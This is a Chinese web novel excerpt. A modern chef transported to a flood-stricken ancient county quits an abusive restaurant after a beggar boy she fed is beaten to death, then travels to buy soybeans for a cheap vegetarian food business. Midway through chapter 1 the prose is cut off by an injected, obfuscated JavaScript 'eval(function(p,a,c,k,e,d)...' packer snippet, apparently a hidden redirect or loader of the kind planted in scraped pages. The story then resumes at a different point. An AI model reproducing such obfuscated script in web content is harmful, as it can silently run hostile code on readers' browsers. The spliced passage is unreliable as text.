《穿越后靠卖素斋发家》 1. 涝痕 雨丝斜斜地打在溢香楼的雕花窗棂上,溅起细碎的水花。 李素把最后一只油腻的陶碗摞在案上时,指腹已经被热水泡得发白。她呆呆地看着脏水池,里面模模糊糊映出张巴掌大的脸,眉眼还清秀着,只是下颌线条被苦日子磨得有些锐,鬓角碎发沾着水汽混着灶台上蹭的油贴在颊边,倒像株沾了泥的野蔷薇。 后厨的蒸汽裹着肉腥味扑在脸上,李素皱皱鼻子,拄着满是荤油的灶台望向窗外轻轻叹了口气。 自打她穿来这个不知名的朝代,庆阳县的雨就没真正停过。起初是淅淅沥沥的梅雨,后来变成连绵不绝的暴雨,河水改道的浊流漫过堤坝,淹了城外万亩良田。如今水退了,留下的是一尺厚的淤泥和遍地腐烂的稻穗,还有数不清流离失所的灾民,也正因此她才不得不在这个粘腻闷热的厨房讨生计。 她忽然没来由地想起穿越前的米其林厨房——那里的瓷砖永远锃亮,连空气里都飘着松露与黄油的馥郁,与此刻的腥臊气简直是两个世界。 “发什么愣呢!”身后突然传来胖厨子粗声粗气地吼声,将她的思绪拽回了闷热粘腻的后厨,李素回头看胖子,只见他随手把他油腻的手在围裙上抹了几下,一边眼横着她一边从一旁漆黑的菜篮子里挑出一截萝卜瓮声瓮气道:“最后一道东坡肉马上就得上,你这萝卜雕花还没弄好,是想挨巴掌?” “这就弄,这就弄......”李素嘴上忙答着接过那截白萝卜,然而她饱经风霜的手刚接过萝卜就一顿,萝卜表皮满是泡久了的黏液,滑腻得像极了这庆阳县连下两年的涝水。她扯扯嘴角,故作无事的将萝卜放在案板上,只见这半截白萝卜身上被水泡得发涨,边缘都有些发灰,不仅如此,外皮还沾上了胖子手上的菜油,一看就是后厨挑剩下的次等货。 真是越来越猖狂了。。。 她一言难尽的放下刻刀转手拿起菜刀,决定把萝卜皮削了,好胖子,这沾着油的雕花萝卜一上餐桌,她就算不死也得扒层皮。 “嚯,还挺机灵,知道削皮,”胖子看见她的动作这才想起来刚才忘记提醒李素了,李素捏着刀把用看半扇猪肉的表情蹬了他一眼,胖子见状挠挠后脑勺嘀嘀咕咕道:“啥丫头脾气这么大。” 李素也懒得和他掰扯了,她现在只想快点做完工歇会儿,然而她刚把萝卜皮削完,后厨的门突然“吱呀”一声就被推开,李素闻着声回头,但在看见进来打那片衣角之后又猛地一甩脖子转了回去,“今儿这是怎么了......”她生无可恋的闭了闭眼睛,门还没关严,后头尖利的声音就贯穿李素的脑袋芯儿—— “怎么一股馊味?不知道今儿知府大人的公子要来吗,后厨都给我拾掇干净些!” 李素闻言条件反射的仰天翻了个白眼,都不用回头她都能想象到那个“死太监”账房摇着折扇装模作样的死人相。 “哟,这不李素吗?”这死账房惯爱招惹她,果真还没摆几句谱就越过重重遮挡朝着她这边过来了。 李素没作声,只是手腕翻转,刻刀在萝卜上旋出朵半开的牡丹。 “装聋啊,”这会账房先生已经走到她近前了,他年岁不大,端着一张娃娃脸瞧她手里的萝卜花阴阳怪气道:“雕的还挺能耐,就是别忘了自己的身份啊李素,还敢装看不见我,要不是朱掌柜心善你早跟着你那死鬼爹去讨饭了。” 李素捏着刻刀的手一顿。 原身的爹原是庆阳县小有名气的屠户,家里有半扇肉铺。头年涝灾时还能靠着囤积的肉干勉强度日,可今年水退之后,灾民连杂粮都吃不起,谁还买得起肉?肉铺不得已只得低价供给酒楼维持生计,原身一个人也不得不来溢香楼后厨打杂补贴家用。 “楼里来了这么大一单账房不忙吗,还有空来后厨找我麻烦,”李素头也不抬的接着雕萝卜,心里默念老板家的不能打,家里的爹还等着吃饭呢。 “诶你这是什么话,”账房一皱眉,捏着指头作势就要拎李素耳朵,李素拿刻刀挡了一下偏头皮笑肉不笑道:“让你少找我茬的话,这萝卜雕花是知府公子要的吧,你耽误我雕,最后上不了菜,惹得公子不高兴了你也捞不着好。” 账房被她噎的说不出话,愤愤的指了她几下转身就走了,李素轻哼了一声心里骂了一句垃圾。 后厨里所有人都静悄悄的,直到账房走了胖子才敢端着红烧肉凑过来悄没声凑过来的问李素:“胆儿挺大啊李丫头,过会儿是不得给人家公子赔个不是?别逞一时口舌之快,要是被朱老板知道了又免不了给你一顿臭骂。” 满楼的人都知道这个朱账房朱平旗是朱掌柜的侄子,都恨不得夹着尾巴讨好他巴结他,偏偏李素打心眼瞧不上他这趾高气昂的样子,对他态度冷冷淡淡可有可无,一来二去的就总遭朱平旗针对。 李素这会儿终于把手上的萝卜花雕完了,“道理我都懂,”她瘪瘪嘴夺过胖子手里的菜盘子将牡丹花放上去,“但这年头谁都是给人帮工讨口饭吃,一层巴结一层,谁比谁高贵似的,我非给自己找不痛快看他摆谱。” 胖子听了张张嘴还想说什么,但李素已经端着菜盘子一转身要走了,临了她侧头看着胖子道:“行了叔你也别劝我了,我过去送个菜顺便出去透透气,朱掌柜骂就骂呗,总归不会辞了我,反正搁他眼里我俩和两条互咬的狗也没区别。” 说完李素就有些无奈的笑了笑迈步出去了,这回胖子没拦她。 因为招待的是贵客,所有上菜的使女穿的都是轻纱罗裙不能上后厨里头取菜,就得后厨的厨师自己把饭菜放一楼的台子上等着人家取,李素把东坡肉放在台子上盖上盖子,使女看菜齐了就端着菜盘子鱼贯上了二楼,等着给那位知府公子品尝这些平头老百姓也许一辈子都吃不上的佳肴。 李素看着这场面不知道为什么心里有点堵,她缓缓舒了口气,把这归结成是在后厨待久了闷的。 她张望了几下看附近没人,于是围裙都没解就往侧门走要去后院转悠一圈,反正就摸鱼这么一会儿,就算被朱掌柜发现了也能随便拿点什么理由搪塞过去。 然而她刚走近侧门,就听门外传来一阵模糊的哭喊和怒骂,李素咽了咽口水把侧门开了条小缝探头去看,但她还没看清怎么回事儿,一团黑色的物体就猛地飞了过来一下子把门撞开了,冷风裹挟着雨丝灌进来,李素不仅被雨水糊了满脸还险些被门板子拍翻,待到她站稳时她才发现刚撞过来那团黑影是个浑身脏兮兮的小男孩,约莫是个小乞丐,看年纪不过七八岁,身上裹着片破烂的麻袋,头发黏成一绺一绺的,脸上糊着泥和不知是什么的污渍。他怀里紧紧抱着个豁了口的陶碗,碗底空空如也。 而门房刘三彪正一脸不快的看着他和突然出现的自己。 “后厨的李丫头?你来这儿干啥?”刘三彪率先开口面色不善的问道。 这刘三彪向来以朱掌柜马首是瞻,朱掌柜放个屁刘三彪都得夸他放的又脆又好听,李素咬紧后槽牙只感觉今天倒霉透了,她赶紧扫了一眼院子,幸运的发现角落里有一口水井,于是她装模做样的擦擦围裙道:“呀,是刘大哥啊,胖叔让我过来打两桶水。” 刘三彪不疑有他,招招手不耐烦道:“打完了快走,别耽误我干正事儿。” 他能有什么正事儿,她打水,这刘三也就只剩下打人了,李素虽然心里直翻白眼,但面上还是陪着笑道:“妥,妥,就是这孩子谁家的啊,怎么在这趴着,”话间李素不动声色的挪到这孩子身前把他用身体挡住了。 “什么谁家的,死了爹娘的野猴子,不知天高地厚的敢来楼里偷剩菜吃叫我给他揍了一顿,”说完刘三彪好像还想啐一口,但看李素在他身前站着,寻思寻思就把这口唾沫吐到了自己脚边,“啊呀你赶紧的,我今天非不给他打掉一层皮不可,非得让他长点记性。” “妈呀,这可不兴说啊刘大哥,”李素顿感不妙,她回头瞥了一眼在地上痛苦蜷缩成一团的小乞丐,黑乎乎一坨像只被踩扁的猫,小乞丐感觉到李素的视线怯懦的抬起头,一双大眼睛亮亮的直勾勾地盯着她,李素一边拼命的给他使眼色一边跟刘三彪打哈哈,“这要是打死了咋整,今天还有知府的公子过来,别让人觉得晦气。” 小乞丐似乎读懂了她的意思,李素话音还没落他就顶着一身青紫麻利的爬了起来,趁着刘三彪没反应过来飞快的起身翻墙跑了,李素捂着嘴装模作样的“诶?”了一声,转头对着刘三彪故作焦急大喊:“刘大哥他怎么跑了!!!” “你少嚷嚷!”刘三彪显然也没想到,他撸起袖子斥了李素一声就跟着小乞丐翻了出去,但他的灵巧劲儿怎么能和小孩子比,上了街害怕人影子都找不到,李素心情颇好的伸了个懒腰,感觉心里似乎好受了点。 傍晚收工的时候,雨又下了起来。李素心里挂念那个小乞丐,于是揣着两个偷偷藏起来的菜团子,绕到溢香楼后巷那个乞丐扎堆的地方—— 小乞丐果然缩在那里,他似乎也挺受乞丐圈排挤的,只能坐在风口的位置抱着只空空的陶碗,身体蜷缩着抖得像片落叶。 “来娃娃,姐姐来给你送温暖了,”李素说着,撑伞走到小乞丐身边蹲下,她把怀里的菜团子递过去,这是中午做杂烩剩下的边角料,她用野菜和着少量面粉捏的,没什么味道,但管饱。 小乞丐不知道她说那句“送温暖”什么意思,但总归还记得她是自己救命恩人,所以也没什么戒心的就把菜团子抢过来,一大口接着一大口噎得直翻白眼,李素见状又赶紧从怀里掏出个水囊递过去。 “欸,慢点吃,没人和你抢。” “谢……谢……”吃完了,小乞丐才终于挤出两个字,声音嘶哑得像砂纸摩擦。 “你叫什么名字?”李素笑着歪头问。 “没名字,他们都叫我狗剩……”孩子含糊不清地说,眼睛还盯着她的手,似乎在期待更多吃的。 李素的心听罢沉了沉,连个正经名字都没有...... 李素抿着唇站起身,拍了拍身上的土,“行......狗剩,明天这个时候我再给你带吃的。” 狗剩抬起头,眼睛亮晶晶的,重重地点了点头。 接下来的几天李素每天都在后厨偷偷藏些吃的从侧门溜出送出去,有时候是蒸糊的窝头,有时候是切下来的菜根,偶尔运气好,还能拿到些客人没动过的掺了肉的剩菜。狗剩也很守规矩,从不在她没出现的时候去溢香楼门口晃悠,也从不多要,每次拿到吃的,就咧开嘴笑,露出两排小黑牙。 虽说被来侧门巡视的刘三彪碰见过几次,但都被李素以不走正门冲撞贵客搪塞过去了。 “姐姐,”这天狗剩啃着半个白面馒头,忽然问,“肉……是什么味的?不是肉渣,就是正儿八经的肉菜,热腾腾的那种......” 李素愣住了。 她想起自己做过的惠灵顿牛排,酥皮包裹着菲力,中间夹着蘑菇酱,切开的时候能看到粉嫩的内里,香气能飘满整个厨房。 “肉……很香。”她斟酌着词句,“炖得烂烂的,入口就化,带着点甜,又有点咸……” 狗剩听得眼睛发直,小舌头舔了舔干裂的嘴唇:“我娘说,我生辰的时候,就给我买肉吃。可我还没等到……” 他低下头,声音又怯懦起来。 李素的心里也堵得慌,她看不得孩子这样,于是他狠狠揉了揉狗剩的脸拍拍胸脯道:“你等等姐姐,姐姐肯定能想办法让你吃上正经肉!”狗剩听了眼睛更亮的点了点头。 也是幸运,刚第二天李素就在后厨寻到了大半盘剩下的东坡肉,李素满心欢喜的把它装进木盒走出侧门,但就在开门的那一瞬,李素险些和朱掌柜笑眯眯的脸撞了个实诚。 “朱掌柜......?”她瞪大了眼睛,全身好像被冷水浇了一般的僵直了一瞬,李素艰难的转换视线,看见了朱掌柜身后一左一右站着的得意洋洋的刘三彪和一脸懵逼的朱平旗,还有地上被打的鼻青脸肿的狗剩,一下子什么都明白了。 “李素,这是什么”还没等她说什么,朱掌柜就凉飕飕开口,他指了指李素手上的盒子,声音不高却带着冰碴子,“彪子说你私藏食物给叫花子,找我带账房来核对下账目。” 一旁的刘三彪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱掌柜就在一旁笼着袖子幽幽道:“这人啊,就得忠心,别干那吃里爬外的活计,”这话肯定不是单单为了教训李素说的,因为李素身后紧紧拽着她的朱平旗闷闷的“嗯”了一声,口中附和着;“叔父说的是。” 李素感到一阵恶心,她忽然想起自己的餐厅,那个挂着“人人平等”标语的地方。原来那只是和平年代的奢侈品,在这吃人的世道里,连一块肉都能划分出三六九等。 狗剩最终被刘三彪像拖垃圾一样拖出了后院,李素则被朱掌柜当着朱平旗的面又责骂了一顿,无非是叫她以后要忠心,要感念他让李素活得体面的恩德,李素左耳进右耳出的,反正也不是讲给她听的,她脑子里全是那个小乞丐浸透了半张脸的血,连最后自己则被罚了一个月的月钱还是两个月的都没听清。 朱家叔侄一走,李素也不管什么了疯了一样去找狗剩,刘三彪好像生怕狗剩的冤魂能找上来一样,直接把他扔在了离酒楼老远的护城河河边,李素足足到黄昏才在一棵枯树下找到了奄奄一息的狗剩,他发着高烧,嘴唇干裂得像树皮,嘴里不停地念叨着什么。 李素的心像被一只无形的手攥紧了,疼得喘不过气。她摸遍了身上的口袋掏出了几张银票,李素艰难的把地上的狗剩背起来,两个同样瘦弱的人叠在一起,一时分不清谁更可怜一点。 “撑住狗剩,姐姐带你去看医生!” 她疯了似的跑到县城唯一的药铺,但她绝望的发现狗剩在她背后的呼吸越来越弱,医馆就在眼前了,在她踏进门槛的同时狗剩微弱的声音也在她的身后响起—— “姐,我想吃肉......” 给狗剩的看病钱最后变成了一副薄棺。 直到第二天一早,李素才回到溢香楼。 朱掌柜看到她还愣了一下,随即露出嘲讽的笑:“还知道回来?我还以为你跟着那些叫花子跑了呢。” 李素没理他,径直走到自己的案板前,拿起那把刻刀。 阳光透过窗棂照进来,在案板上投下一道光斑。她看着那把刀,忽然想起现代医学课上学过的,人在极度饥饿的时候,会分解自己的脂肪和肌肉。 原来,最残忍的不是洪水,是人心。 她放下刀,转身,走到朱掌柜面前。 “我不干了,”她说,声音不大,却异常清晰。 朱掌柜愣住了,像是听到了什么不可思议的事情:“你说什么?” “我说,我辞职。”李素抬起头,迎着他的目光,那双眼睛里没有了往日的怯懦和隐忍,只剩下一种近乎执拗的平静,“这庆阳县,就算饿死,我也不再做你的帮工。” 朱掌柜的脸色瞬间变得铁青:“你以为你是谁?离了我这溢香楼,你能活几天?” 李素没再说话,转身走出了溢香楼。 门外的阳光有些刺眼,她眯了眯眼,看到街上熙熙攘攘的人群。有穿着绫罗绸缎的富商,有衣衫褴褛的乞丐,有骑着高头大马的官差,有挑着担子叫卖的小贩。 她想起狗剩最后那句话,想起那些在涝灾中死去的人,想起自己厨房里那些被精心雕琢的食材。 食物不该只是达官贵人的消遣,也不该是穷人遥不可及的奢望。 李素深吸了一口气,空气中还残留着溢香楼的肉腥味,但她仿佛闻到了别的味道——是雨后泥土的清新,是野菜的微苦,是阳光晒过的豆子的醇香。 她攥紧了拳头,指尖触到掌心的薄茧。那是练刀功留下的印记,也是她活下去的底气。 她是李素,是蓝带毕业的美食家,是能把最简单的食材变成艺术品的人。 没有肉又怎么样? 这庆阳县的土地里,长着野菜,长着豆子,长着无数能填饱肚子的东西。 她要做素食,做所有人都吃得起的、干净的、有尊严的食物。 她抬起头,望向县城的方向,那里有无数双饥饿的眼睛,有无数个像狗剩一样渴望活下去的人。 她的路,才刚刚开始。 2. 大豆 李素回家是正是饭点,她掀开门帘就见父亲正披着件打补丁的旧褂子,佝偻着背往灶膛里添柴。火光在他布满皱纹的脸上明明灭灭,映出那截不便的右腿——去年涝灾时为了抢运粮食,被倒塌的粮仓砸伤,至今走路还一瘸一拐。 李素犹豫了一下,还是把从酒楼辞工的事情和李屠户坦白了,然而李屠户听完却意料之外的没多说,他沉默的添了一把柴,又转头看了看李素尚且红着的半边脸,似乎一下子就猜出来发生了什么,李屠户嘴唇嗫嚅,半晌,他才故作轻松笑道:“多大点事,爹虽然没本事,但给朱家供肉也能养得起你,往后你就帮爹忙活忙活家里家外,咱在家待着不去外头受那气。” 然而李素却抿抿唇没接他的话,虽说是自己便宜得来的爹,但李屠户对原身真是没话说,原身的娘去年让洪水淹死了,父女二人守着对方过日子,李素还真对这个爹有点感情了。 所以她看着李屠户皲裂的双手,怎么也说不出要掏空家底儿去创业的话。 李屠户听李素半天没音儿,也似有所感的放下柴和李素对视,他随手在围裙上擦擦黑灰放缓了声音道:“咋,丫头有心事?” 李素攥着衣角,指腹蹭过粗布上磨出的毛边,喉头动了动才开腔:“爹,我想做点小生意。” 李屠户添柴的手顿住,火星子从灶膛里跳出来,在他袖口燎出个小黑点。“啥生意?” “做素斋,”李素抬头迎上他的目光,声音发紧,“用豆子做素肉素鸭,便宜管饱,我们平头老百姓也买得起,我自己创业赚点良心钱,到时候咱俩都不用看朱家的脸色过日子了,”她顿了顿,声音更低了,“就是……得要本钱买豆子。” 话一出,李素心里就有些紧张了,只觉得自己真是脑袋一热什么都不管了就敢来要钱。 她小心的打量着李屠户,灶膛里的柴火噼啪响,映得他的脸忽明忽暗,就在她以为李屠户要斥她几句让她别异想天开的时候,对方却忽然起身往炕席底下摸,掏出个油布包层层打开,露出薄薄一沓银票和几十个散铜钱。他一瘸一拐的走向李素,然后把钱一股脑全塞进李素手里,“家里就这些了,”李屠户低声说着,掌心的老茧蹭得李素手心疼,“你打小就是个有主意的,想出去闯就闯闯吧,爹也过够这日子了。” 末了,刘屠户又添了一句:“至于豆子啊,你得去苗镇买,那儿地势高好排水,刘老根家的婆娘有好豆子,就是心黑,你多跟她磨磨。” 李素怔愣着捧着手里的钱,只感觉薄薄的几张纸竟然沉甸甸的压得她喘不过气,空气沉寂了几秒,李素才好像刚反应过来一样,重重的点了点头,“我明天就启程,”她说着,眼泪还是没忍住落了下来。 第二日鸡叫头遍时,李素就醒了。 她揉着酸涩的眼坐起身先锤了锤后背,土炕的褥子薄得像层纸,潮气从炕席缝里钻上来浸得后背发僵。 她借着窗棂透进来的晨光穿衣裳,粗布麻衣蹭过胳膊,带着洗得发白的柔软。外屋突然传来父亲压抑的咳嗽声,一声叠着一声,李素的动作一顿,然后她很快穿好了鞋掀开门帘,果真见李屠户正往灶膛里添柴,他面前的陶罐温着野菜粥,清苦的气味混着柴火的烟味弥漫开来。 “醒了?”李屠户回头,声音带着宿夜的沙哑,“灶上温着粥,你吃了再走。” 李素闷闷“嗯”了一声,默默盛了两碗和李屠户坐在灶台边吃了起来。 “刘老根家的婆娘精得很,”饭间,李屠户眉头拧成个疙瘩,不放心一般的又叮嘱道:“苗镇地势高排水好没遭涝,豆价肯定不低。爹腿脚不行不能跟你去,你要是实在谈不拢少买些也行,别跟人起冲突。” “我晓得。”李素喝了口粥,野菜的涩味在舌尖蔓延,“对了爹,咱家以前跟苗镇的肉铺有往来吗?” 李屠户愣了愣:“有过,聚鲜楼的刘老板,前几年常来收肉,咋?” “没什么,”李素低下头,把馒头掰碎了泡进粥里,“就是想,说不定能攀个交情。” 吃完饭,李素就背着干粮和装钱的布包出了门。庆阳县的街道还浸在湿漉漉的雾气里,路边的灾民缩在草席当中,像一堆堆破败的棉絮,见她走过,有人抬起头,浑浊的眼睛里映出点微光。 李素别过脸不敢看,她企图快步走出城门,但官道已经被雨水泡得泥泞不堪,布鞋踩进去就陷下半截,每走一步都要费很大力气,路边的庄稼地还浸在水里,枯黄的稻穗趴在泥里,像一条条死去的蛇。 好在苗镇和庆阳县离得不算太原,日头将将爬到头顶时,李素就走到两地交界的土坡。坡上歪脖子茶棚的茅草顶被晒得发脆,老板正蹲在灶台后扇火,烤红薯的焦香混着烟味飘过来,勾得她肚子直叫。 李素舔了舔嘴唇,想着在这凑活一口,又便宜没准还能打听到点消息,老板就算了,这种边境馆子的老板向来心黑,和他打听消息没准能把你裤衩子坑没,还不如在这等些心善的散客。 “老板,一碗茶一个烤红薯!”她美滋滋的对着灶台喊了一嗓子在条凳上坐下,正如她所料,很快就有两个挑夫模样的汉子就扛着扁担进来了,粗布短褂湿得能拧出水。 两人把扁担往墙角一靠,嗓门亮得像敲锣:“老板,两碗糙茶,四个烤红薯!” 好机会!这淳朴的模样一看就靠谱,李素咽了口唾沫赶紧迎上去时,尽量把声音放的柔和:“两位大哥,劳驾问个事——” 然而她心中的善人只是瞥了眼李素,又上上下下打量着她裤脚的泥点,李素眼睁睁看着他俩交换了个眼神,然后都默契的抬碗喝茶不理她。 话已至此,李素也只得硬着头皮说下去,“我就是想问,苗镇的豆子价,哪家的好?” 闻言络腮胡挑夫刚端起茶碗这才舍得斜眼过去,碗沿的茶渍蹭在胡茬上:“问这干啥?” “家里做点营生,想收点豆子。”李素心中顿感不妙,她往旁边挪了半步,让过棚柱投下的阴影。 瘦挑夫突然笑了,露出颗豁牙:“打听行情啊?这可不能白说。” 李素一愣:“啥?” “规矩懂不懂?”络腮胡把茶碗往桌上一墩,粗瓷碗磕出个豁口,“苗镇的行情金贵着,问就得掏钱。” 她攥紧了口袋里的钱袋,指节抵着布面下的铜板:“不过是问个价,还要钱?” “你当我们哥俩喝西北风的?”瘦挑夫站起身,居高临下地睨着她,“要么掏钱,要么走人,别在这儿挡着道。” 茶棚老板蹲在灶台后扇火,红薯的焦香飘过来,却压不住这阵戾气。李素看着两人横肉堆脸的模样,知道躲不过去,只得摸出两个铜板,往桌上一放:“够了吗?” 络腮胡抓起铜板往嘴里一咬,确定是真钱,才慢悠悠道:“刘老根家的婆娘有好豆子,前儿五十文,今儿就敢要六十五,黑心得很。” “为啥涨这么快?”李素追问。 “庆阳遭灾呗,”瘦挑夫抢话,“溢香楼的朱胖子都派人来抢,现在有粮食就是爷。” 李素还想再问,络腮胡已经挥挥手:“俩铜板就这些,再多问加钱。” 听了这话,李素在心里狠狠翻了个白眼,她算是明白过来了,这俩人就是看她孤家寡人一姑娘欺负她,但她还真就打不过只能受这窝囊气—— 好女能屈能伸,李素背过身对着空气恶狠狠的龇了龇牙,然后利索的转身就走回角落等着自己的红薯。 正在她气闷之际,老板突然拿着红薯凑过来,端详了她的脸几秒问道:“姑娘是不是庆阳李屠户的女儿?” 李素抬头时身后火星子正从灶口跳出来,映得老板眼角的皱纹忽明忽暗,因为刚被骗过,李素警惕的向后缩了缩小声道:“......是,你认识我爹?” “你爹当年送药来苗镇,救过我家小子。”老板回头瞥了那俩汉子一眼,又回头把的声音压得很低叮嘱道:“刘娘子家的豆子铺从城门进去左拐,一直走到头就是,去她那儿提你爹名字,或许能少花点。” 李素心里一动,忙问为啥,老板贼眉鼠眼的看了看周围,小声道:“……刘娘子他哥最近愁得很,庆阳县遭了灾,肉源断了,聚鲜楼的肉价都涨到八十文一斤了,据说刘娘子还总念叨说要是能找到便宜的肉源就好了。” 话里话外什么意思不言而喻,李素听完赶紧同样小声的谢过老板,老板对她笑了笑就提着茶壶走了,李素鼓着嘴看着忙前忙后的老板,又看看身后胡吃海喝的汉子,只觉得自己刚才真是瞎了眼了。 草草吃完了午饭李素就抓起包袱快步往苗镇赶,待她走了有半炷香的时间,青砖城墙终于撞进眼帘,城门下的兵丁挎着刀,眼神比庆阳的还锐利三分。她按着老板指的路往街尾走,果然在尽头看见了“刘记豆行”的木牌在夕阳下泛着光. 就是这了,李素攥紧了口袋里的钱,深吸一口气推开门——这趟苗镇,说什么也得把豆子带回去。 进了门她就见脚下堆着几麻袋豆子,饱满的豆粒从袋口漏出来,滚在地上像撒了把碎银子。一个穿着青布褂子的妇人正蹲在麻袋旁挑拣,鬓角别着朵珠花,看着不像做粗活的,倒像个当家主母。 “买豆子?”妇人抬起头,三角眼先在李素身上扫了一圈,见她裤脚带泥,眼神就淡了,语气也变得随意起来“好豆子六十五文一斗,次等的四十,要哪种?” 李素没接话,蹲下身抓起把豆子。颗粒圆滚,咬开一颗,里头的豆瓣白生生的,带着清甜味,果然是好货。她放下豆子,拍了拍手:“刘娘子,我是庆阳李屠户的女儿,想按五十文一斗,买十斗。” 刘娘子挑眉:“李屠户?哪个李屠户?” “前几年给聚鲜楼送肉的那个。”李素迎着她的目光,“我爹说,当年刘老板还欠着他半车腊肉钱没给呢。” 这话半真半假,却把刘娘子唬了一愣。她上下打量着李素,见这丫头虽穿着旧衣,脊梁却挺得直,眼神亮得像淬了火,倒不像说谎的样子。 “你爹怎自己不来?”刘娘子抱起胳膊。 “我爹腿脚不利索,”李素垂下眼,声音低了些,“庆阳遭了灾,家里快揭不开锅了。我想买些豆子回去做素斋,混口饭吃。”她顿了顿,抬眼时带着点韧劲,“若刘娘子肯按五十文算,我保证,往后聚鲜楼要肉,我爹能按市价八折供应,供够半年,之前的欠款我也抹了。” 刘娘子沉默了。聚鲜楼的肉源确实是她哥的心事,苗镇就两家屠户,价高还缺斤少两,若能从庆阳低价进货,确实划算。她盯着李素看了半晌,忽然笑了:“你这丫头,倒比你爹会算计。” 李素松了口气,刚要说话,就被刘娘子打断:“豆子可以按五十文给你,但我有条件——得给我送到庆阳去,运费你出。” “这……”李素犯了难,她一个人哪带得动十斗豆子,但运费的钱也不便宜,她倒想带回去牙行找人运,但鉴于刚才被坑的经历和消费者这么没有保障的古代,李素一时还真不知道怎么办了。 刘娘子高挑着眉毛看她为难样,末了泄气一般嘴角撇了撇:“啧,罢了,看你一个姑娘家的也不容易,我让我家汉子和我哥哥找辆板车明天一并给你拖过去吧,我自己家人不要运费了,”还没等李素反应过来,她朝铺子里喊了声,“当家的,给这丫头开票!” 李素没想到这么顺利,她愣了一下,又赶紧掏出钱袋拿了五百文的银票递过去,动作间她指尖触到刘娘子手上戴着的银镯子,冰凉凉的,却没朱掌柜的银票那么扎人。 “多谢刘娘子。” “谢啥,”刘娘子挥挥手,她接过钱塞进腰里的钱袋,“互惠互利的事情,往后供肉的事别给我忘了哈。” 李素忙不迭的点头。 她这是个大单子,等到刘娘子当着李素的面称好斤数,又打包好捆上车的时候 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上面是她画的菜谱:素鸭、素鸡、素火腿……,忙活了一整天她才有时间把这些东西重新捋一遍,李素一边回忆着这些菜的做法,一边斟酌着在这个物资匮乏的地方什么能做替代品,不知坐了多久,直到外面的灯笼都熄了李素才抬头,她的肚子也适时地又咕咕叫起来。 李素皱着眉从包裹里摸出最后一个窝头放进嘴里,然而这干粮放了一天了竟有些干得咽不下去,堵在李素喉咙里搞得她相当难受,她面色不善的呸了两下子将这块儿面渣滓吐了出去,然后一脸惆怅的仰倒床上按了按有些抽痛的胃,索性决定下楼讨杯热水喝。 本以为这个时间了只有不会再有别人,然而待李素下了楼,竟发现客栈大堂昏黄的光里居然还坐着个年轻公子。他身形瘦削,穿着件月白长衫,袖口洗得发浅却仍能看出来是比麻布高了不知道几个档次的好料子,彼时这位公子正对着盏茶出神,清俊的眉眼间缠着点愁绪,像蒙了层雾。 李素下楼的动作慢了点,她自认为不动声色的把这个俏公子从头到尾扫了一遍,然后在他看过来之前,李素赶紧收回视线撇撇嘴,心道一看就是个吃饱了撑的的读书人,没准今晚还能再作几首诗。 “店家,来碗热水,”无意理他,李素走到柜台前值夜班的小二低声吩咐道,拿了热水壶李素正准备提着它回房间泡干粮,然而还没等她上楼梯,身后那个刚被她“巡视”一顿的公子忽然开口:“姑娘也没睡?” 声音温润,像玉珠落瓷盘。 李素闻言愣了愣,下意识的转身点点头。 公子于是笑着朝她举了举杯:“姑娘深夜还未歇下,也是有什么心事吗?不介意的话过来和在下坐坐?” 李素本想拒绝的,但奈何对方的眼神太过温和沉静,看的她嘴里的话拐了个弯,于是她犹豫了一下,还真就走了过去。 公子见状拿了个干净茶盏给她倒了杯茶,边倒边说着:“这是我从老家带的茶,但岭南湿热,受了潮,口感赶不上从前,还望姑娘不要嫌弃。” 好茶李素也是在干厨师的时候尝过的,李素半信半疑的尝了一口,意外的茶汤清亮,带着点回甘,绝对不可能是岭南的烂货,这个时代恐怕只有京城那边能供上这样的上品了吧。 这样想着,李素难得对面前这个公子上了点兴趣,于是她很给面子的缓声道:“哪有我嫌弃的份儿,还得多谢公子款待,我叫李素,不知公子尊姓大名?” “在下程锦明,李姑娘客气了,”程锦明笑了笑,他执杯的手指修长,指甲修剪得干净,“姑娘夜里来这住店,莫非是庆阳人?” 李素嗯了一声,没多说。 “庆阳遭了灾,日子不好过吧,”程锦明看着她的动作轻叹。 “相当难过了,”李素握着茶杯,感到指尖暖了些:“不过总会好的,”她顿了顿,斟酌道:“我买了些豆子回去做点便宜管饱的素斋,说不定能让大伙吃顿饱饭。” 程锦明眼里闪过点惊讶,随即笑了:“姑娘有心了,民以食为天,能让百姓吃饱,是积德的事,”他看着她,眼神诚恳,“虽说不知道素斋是什么,但若有难处,或许我能帮上忙。” 李素就当他在客套,她刚想问程锦明为什么也半夜来这里静坐,话还没出口,就见一个小厮模样的人从楼梯上边跑下来边慌慌张张地说:“公子,您怎么在这?该歇息了,明天还要赶路呢。” “脚下当心些,这就来,”程锦明于是站起身对着李素无奈地笑了笑,“抱歉,先失陪了。” 李素虽好奇他,但也不敢耽误人家正事,所以只得摆摆手告诉他无事,李素拄着脸看他的背影消失在楼梯口,心里有点纳闷——这程锦明看着不像普通人,怎么会来岭南这个鸟不拉屎的地方? 但这和她又有什么关系,李素摇摇头,把这事抛到脑后,捧着热水回了房。 房间挺贵,但这天夜里李素睡得并不踏实,她总梦见豆子变成了素鸭,油亮亮的,狗剩黑黢黢的瘦脸开着素鸭在梦里笑得露出两排白牙,指着素鸭和自己说:“姐姐,我要吃这个。” 于是第二天天刚蒙蒙亮,李素就顶着两坨黑眼圈醒来,窗外的灯笼还没灭像颗悬着的星,李素迷迷瞪瞪的穿好衣服,咂摸着等素鸭做出来得先给狗剩烧点。 等天光大亮时刘娘子的汉子就把豆子装上了板车。李素谢过他们后就跟着板车往庆阳走。板车轱辘碾过石子路,发出吱呀的响,豆子在麻袋里轻轻晃,像揣了窝会喘气的小兽。 回到庆阳时日头刚到天中央,李屠户一边帮李素卸豆子一边和李素念叨说今早县里来了个新县令,听说是从京城贬过来的,就和李素前后脚到的庆阳。 听闻李素心里咯噔一下,脑袋里莫名就想到了昨晚那个月白长衫的身影。 不能吧......她李素不会真就这么寸到随便找个路人聊都能聊到官老爷?但她很快摇摇头把这念头甩开——不管了,反正是谁当县令都比不上眼前这十斗豆子实在。 豆子卸到院里,李素慈爱的摸着麻袋—— 明天就可以做素鸭了。 3. 素鸭 天刚蒙蒙亮,李素已经把石磨转得发烫了。 